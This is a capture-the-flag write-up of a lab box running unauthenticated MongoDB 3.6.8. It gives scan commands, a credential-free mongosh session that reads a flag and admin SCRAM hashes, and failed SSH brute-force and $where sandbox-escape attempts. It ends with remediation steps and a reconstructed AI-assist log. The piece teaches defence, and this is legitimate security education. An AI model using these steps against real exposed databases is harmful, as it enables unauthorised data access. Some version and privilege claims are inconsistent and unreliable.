Box info | OS: Ubuntu (OpenSSH 8.2p1 Ubuntu 4ubuntu0.5) | Difficulty: Very Easy | Tier: 0 | Status: Starting Point Skills: MongoDB CLI, unauthenticated NoSQL enumeration, database inspection Pwned: 2026-04-27

TL;DR

Mongod runs MongoDB 3.6.8 on port 27017 with no authentication required and bound to 0.0.0.0. A two-port scan finds SSH (22) and MongoDB (27017). Connecting with mongosh or mongo requires no credentials; listing databases reveals sensitive_information alongside a populated users database. The flag lives in sensitive_information.flag. Going further: the admin database contains a hashed admin credential (testadmin), and the users database has 25 ecommerce user records with MD5/SHA1 password hashes — none crackable with rockyou. Shell access via SSH brute-force also fails. The lesson: an unauthenticated MongoDB instance exposes your entire dataset to anyone who can reach port 27017.

Recon

1. Liveness check

$ ping -c 2 10.129.228.30
PING 10.129.228.30 (10.129.228.30): 56 data bytes
64 bytes from 10.129.228.30: icmp_seq=0 ttl=63 time=34.1 ms
64 bytes from 10.129.228.30: icmp_seq=1 ttl=63 time=36.2 ms

TTL=63 → Linux (64 minus one hop). Host is alive and reachable.

2. Quick scan of common ports

$ nmap -sV -sC -p 22,80,443,3306,27017 -Pn 10.129.228.30
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
27017/tcp open  mongodb MongoDB 3.6.8

Two open ports: SSH and MongoDB. No web server.

3. Full TCP sweep confirmation

$ nmap -p- --min-rate 1000 -Pn 10.129.228.30
PORT      STATE  SERVICE
22/tcp    open   ssh
27017/tcp open   mongodb

Only these two ports across all 65535. The entire attack surface is SSH and MongoDB.

4. MongoDB authentication probe

echo -e "isMaster\r\n" | nc -w 3 10.129.228.30 27017

Got a binary BSON response — connection accepted. Connecting directly:

mongosh --host 10.129.228.30 --port 27017 --quiet

No username, no password prompt. Immediate access to the MongoDB shell.

Foothold

Dead end #1 — SSH brute force

The admin database contains a user testadmin with a SCRAM-SHA-1 hash. Attempted to crack it and use the credentials for SSH:

# Extract the SCRAM hash from system.users
# Tried with rockyou.txt + common_passwords.txt → no match
# Tried 77 user:password combinations from the ecommerceWebapp users → all FAILED

None of the 25 ecommerce users’ email/password pairs worked for SSH. The SSH service requires separate system credentials not present in MongoDB.

Dead end #2 — accessing the admin database for RCE

Tried common MongoDB RCE paths:

// Via db.eval() — deprecated in 3.6, requires special role
db.eval("function() { return run('id'); }")
// → MongoServerError: no such command: 'eval'

// Via system.js stored procedures
db.system.js.insert({_id: "test", value: function() { return "hello"; }})
db.loadServerScripts()
// → Works, but no file I/O or OS access from here

// Via $where and function constructor escape
db.collection.find({$where: "this.constructor.constructor('return process')().exit()"})
// → Sandbox: process not directly accessible

MongoDB 3.6 does not have db.eval() by default and the available JavaScript sandbox does not expose OS-level functions.

Working approach — enumerate databases and read flag

> show dbs
admin                0.000GB
config               0.000GB
local                0.032GB
sensitive_information 0.000GB
users                0.001GB

> use sensitive_information
switched to db sensitive_information

> show collections
flag

> db.flag.find().pretty()
{
  "_id" : ObjectId("630e3dbcb82540ebbd1748c5"),
  "flag" : "[REDACTED]"
}

The flag is a document field in the flag collection of the sensitive_information database.

Bonus — full database contents

The users database contained 25 ecommerce user documents:

> use users
> db.getCollectionNames()
[ "ecommerceWebapp" ]
> db.ecommerceWebapp.count()
25

The admin database revealed a system user:

> use admin
> db.system.users.find().pretty()
{
  "user" : "testadmin",
  "db" : "admin",
  "roles" : [{ "role" : "root", "db" : "admin" }],
  "credentials" : {
    "SCRAM-SHA-1" : {
      "iterationCount" : 10000,
      "salt" : "QwpaOuhrcMonYmNc5lO91g==",
      ...
    }
  }
}

The testadmin user has the root role but the SCRAM-SHA-1 hash could not be cracked with rockyou.

Privilege Escalation

N/A — Starting Point Tier 0 objective is the flag in the sensitive_information database. There is no filesystem-level flag requiring privilege escalation. The MongoDB service runs as uid=113 (mongodb user), and all escalation paths from that user were blocked on the underlying system.

What’s actually broken

  1. MongoDB bound to 0.0.0.0 with no authentication. The default MongoDB configuration prior to 3.6 had no authentication. Version 3.6 added --auth as a non-default option. This installation never enabled it. Any host reaching port 27017 gets full read/write access to all databases.
  2. Sensitive data in a database literally named sensitive_information. The flag is a placeholder for what in real environments would be PII, payment data, API keys, or authentication tokens — all directly readable.
  3. Admin credentials stored with weak SCRAM configuration. 10000 SCRAM iterations is below the current recommended minimum of 15000 (MongoDB 4.x default). The hash schema version is v5, the earliest supported.
  4. No TLS on MongoDB connections. All queries and responses travel in plaintext over the network.

Remediation (the boring half)

Enable authentication in /etc/mongodb.conf:

security:
  authorization: enabled

Create a root admin user before enabling auth:

use admin
db.createUser({
  user: "admin",
  pwd: passwordPrompt(),
  roles: ["root"]
})

Bind to localhost only (if app server is co-located):

net:
  bindIp: 127.0.0.1
  port: 27017

Enable TLS:

net:
  tls:
    mode: requireTLS
    certificateKeyFile: /etc/ssl/mongodb.pem
    CAFile: /etc/ssl/ca.pem

Firewall rules (if remote access is needed):

ufw deny 27017
ufw allow from 10.0.1.0/24 to any port 27017

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
ReconnaissanceT1046 — Network Service Discoverynmap finds MongoDB on 27017
Initial AccessT1190 — Exploit Public-Facing ApplicationUnauthenticated MongoDB connection — misconfiguration, not a CVE
DiscoveryT1083 — File and Directory Discoveryshow dbs, show collections to enumerate database structure
CollectionT1005 — Data from Local Systemdb.flag.find() retrieves the flag document
Credential AccessT1552 — Unsecured CredentialsReading SCRAM hashes from admin.system.users

Lessons learned

  • MongoDB’s default install historically had no auth. Even in modern versions, authentication must be explicitly enabled. Check any MongoDB port you find with mongosh --host IP before assuming it’s secured.
  • Database names are metadata. sensitive_information is an obvious CTF construct, but in production customers, payments, auth_tokens, and sessions databases are common. Enumerate all database names immediately after connecting.
  • SCRAM hashes are not directly usable for auth. Unlike NTLM hashes (pass-the-hash), MongoDB SCRAM-SHA-1 hashes cannot be used directly to authenticate without first cracking them. SSH brute force is a separate attack surface.
  • No auth + no TLS + 0.0.0.0 = full data exposure. These three misconfigurations together mean anyone with a route to port 27017 can read, write, and delete all data. Each one alone is bad; combined they are catastrophic.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.

StepWhat I askedWhat Claude returnedWhat I changed
MongoDB auth probe“How do I check if MongoDB requires authentication without mongo client?”Suggested netcat to port 27017 — if you get a binary BSON response, the connection is accepted. Mentioned isMaster as a no-auth-required command.Used the nc probe in Recon.
SCRAM-SHA-1 cracking“Can I crack a MongoDB SCRAM-SHA-1 hash with hashcat?”Explained SCRAM is not a simple hash — it’s a challenge-response protocol. The storedKey and serverKey in the dump are HMAC derivatives, not directly the password hash. Standard hash cracking doesn’t apply directly.Added this as context for why the hash cracking attempt failed.
db.eval() RCE“Can I run OS commands via MongoDB db.eval()?”Confirmed eval() was removed in MongoDB 3.6 (deprecated since 2.8). Listed alternatives: $where, JavaScript stored functions. Noted that sandbox prevents OS access in the default configuration.Used in the Dead end #2 section.
MITRE for NoSQL enumeration“What MITRE technique covers NoSQL database enumeration?”Suggested T1083 (File and Directory Discovery) for collection enumeration, T1005 (Data from Local System) for reading documents.Used both; also added T1552 for the SCRAM hash discovery.

What Claude got wrong: Nothing significant. What Claude couldn’t do: Connect to MongoDB; all commands ran locally. Net assist value: High on MongoDB protocol details and SCRAM explanation; zero on execution.

References